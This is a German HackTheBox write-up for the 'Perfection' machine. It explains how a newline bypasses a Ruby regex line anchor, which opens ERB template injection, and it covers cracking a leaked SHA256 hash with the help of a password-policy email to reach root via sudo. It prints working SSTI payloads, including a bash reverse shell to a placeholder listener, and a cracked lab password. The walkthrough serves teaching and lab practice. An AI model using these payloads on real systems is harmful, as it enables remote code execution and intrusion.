// HackTheBox
Perfection
Umgehung des Ruby-Regex-Zeilenankers → SSTI (RCE als susan) → geknacktes Passwort aus einem geleakten Hash + Mail-Hinweis
Aufklärung
| Port | Dienst |
|---|---|
| 22 | SSH (OpenSSH 8.9p1 Ubuntu) |
| 80 | HTTP (nginx als Reverse-Proxy vor WEBrick 1.7.0 / Ruby 3.0.2 — Sinatra-App) |
Der Webserver ist eine Ruby-Sinatra-App hinter nginx — WEBrick und Ruby 3.0.2 im
Banner verraten das. Die Seite ist ein “Weighted Grade Calculator”: /weighted-grade
ist ein Formular, das an /weighted-grade-calc mit fünf Sätzen aus Kategorie-/Note-/
Gewicht-Feldern postet.
Ein Rechner, der einen Kategorienamen als Text entgegennimmt und ihn dann in die Ergebnisseite zurück ausgibt, ist der Faden, an dem man ziehen muss. Jede App, die benutzergelieferten Text in eine gerenderte Seite reflektiert, ist ein Kandidat für Template-Injection, und eine Ruby/Sinatra-App rendert mit ziemlicher Sicherheit über ERB — die Kategoriefelder sind also der Ansatzpunkt.
Erstzugang — Umgehung des Ruby-Regex-Zeilenankers -> SSTI (RCE als susan)
Der Quellcode (main.rb, nach der Shell gelesen) bestätigt die gesamte Schwachstelle:
elsif params[:category1] =~ /^[a-zA-Z0-9\/ ]+$/ && ... # all 5 categories, same regex
@result = ERB.new("...<%= ... %>...\%</p><p>" + params[:category1] + ": <%= ... %>..."
).result(binding)
Die Kategoriewerte werden direkt in einen ERB-Template-String konkateniert, auf dem
anschließend .result(binding) aufgerufen wird — das ist konstruktionsbedingt
Server-Side-Template-Injection (SSTI): Die Benutzereingabe wird Teil des Template-Quellcodes,
nicht bloß ein eingesetzter Wert, sodass jedes eingeschmuggelte <%= ... %> als Ruby
ausgewertet wird. Das Einzige, was im Weg steht, ist diese Regex, /^[a-zA-Z0-9\/ ]+$/,
die scheinbar die Zeichen verbietet, die ein ERB-Tag braucht.
Tut sie aber nicht, wegen der Funktionsweise der Ruby-Anker. In Ruby matchen ^ und $
den Anfang und das Ende einer Zeile, nicht des gesamten Strings (die
gesamtstring-bezogenen Anker sind \A und \z). Enthält ein Kategoriewert also einen
Zeilenumbruch, ist die Regex erfüllt, solange irgendeine einzelne Zeile vollständig auf
[a-zA-Z0-9\/ ]+ passt — eine harmlose Zeile wie a besteht die Prüfung, während eine
andere Zeile im selben Wert die ERB-Nutzlast direkt in das Template trägt.
Nutzlast (category1, echte Zeilenumbrüche, per curl --data-urlencode urlkodiert):
a
<%= `id` %>
1
Hier sind a und 1 die unauffälligen Zeilen, die den Anker erfüllen, und die mittlere
Zeile verrichtet die Arbeit. Man beachte die Backticks: Rubys system() liefert einen
Boolean zurück und schickt die Kommandoausgabe an die stdout des Servers, nicht an uns,
sodass Backticks (oder %x()) nötig sind, um stdout in die Antwort zu erfassen. Nachdem
id die Codeausführung bestätigt, trägt derselbe Backtick-Trick ein vollständiges
Reverse-Shell-Kommando:
a
<%= `setsid -f bash -c 'exec bash -i >& /dev/tcp/<LHOST>/4444 0>&1' </dev/null >/dev/null 2>&1 &` %>
1
Die Shell landete als susan. Sie ist bereits in der sudo-Gruppe, aber sudo -l
verlangt ihr Passwort — das wir noch nicht haben, also ist das das nächste zu lösende
Problem.
Rechteausweitung — geknacktes Passwort aus einem geleakten Hash + Mail-Hinweis
Beim Stöbern in susans Home-Verzeichnis taucht eine übrig gebliebene Datenbank auf:
/home/susan/Migration/pupilpath_credentials.db (sqlite3, für susan lesbar) enthält eine
users-Tabelle mit SHA256-Passwort-Hashes für fünf Benutzer, darunter der von susan:
abeb6f8eb5722b8ca3b45f6f72a0cf17c7028d62a15a30199347d9d74f39023f.
Ein ungesalzenes SHA256 ohne Formathinweis wäre nahezu aussichtslos zu knacken, doch der
Hinweis liegt in ihrem Postfach. /var/mail/susan (eine E-Mail von “Tina”) legt die
Passwortrichtlinie der Organisation offen: {firstname}_{firstname backwards}_{random int
1-1,000,000,000}, mit dem Vornamen in Kleinbuchstaben. Für susan legt das die gesamte
Struktur auf susan_nasus_<N> fest, mit N zwischen 1 und einer Milliarde — ein endlicher,
vollständig bekannter Keyspace statt eines offenen Ratens.
Das verwandelt das Cracken in eine simple begrenzte Schleife: sha256("susan_nasus_" + N)
für N in 1..1e9 berechnen und mit ihrem Hash vergleichen. Ein reiner Ruby-Bruteforcer
schafft ~2,1 Mio. Hashes/Sek. und findet es in ~190s — siehe exploit/crack_susan.rb. Das
Passwort ist: susan_nasus_413759210.
Mit einem echten Passwort in der Hand liefert sudo -l (ALL : ALL) ALL — susan darf
alles als root ausführen. sudo cat /root/root.txt schnappt sich die Flag direkt (eine
vollständige Root-Shell via sudo bash würde genauso funktionieren; nur die Flag wurde
benötigt).
Erkenntnisse
- Ruby (und diverse andere Sprachen) behandeln
^/$als zeilenweise, nicht gesamtstring-bezogene Regex-Anker —\A/\zsind die gesamtstring-bezogenen Entsprechungen. Jede Eingabevalidierungs-Regex, die^...$auf mehrzeilenfähige Eingaben anwendet, lässt sich umgehen, indem man einen Zeilenumbruch einbettet und die schädliche Nutzlast in eine andere Zeile setzt als die, die die Regex erfüllt. ERB.new(string_with_user_input).result(binding)ist konstruktionsbedingt direktes SSTI — String-Konkatenation in den Template-Quellcode, nicht bloß uninterpolierte, unescapte Variablen.- Rubys
system()liefert einen Boolean zurück und schickt die Kommandoausgabe an die stdout des Servers selbst, nicht an den Aufrufer — man verwende Backticks (`cmd`) oder%x(), um die Ausgabe in die Antwort zu erfassen. - Eine geleakte/committete Credentials-DB plus eine “hilfreiche” Richtlinien-Ankündigungsmail verwandelten gemeinsam ein unzusammenhängendes, übrig gebliebenes Artefakt in einen knackbaren, gut eingegrenzten Keyspace (1e9, nicht unendlich) — man prüfe stets, ob es sowohl einen Hash als auch einen Formathinweis gibt, bevor man einen Hash für unknackbar hält.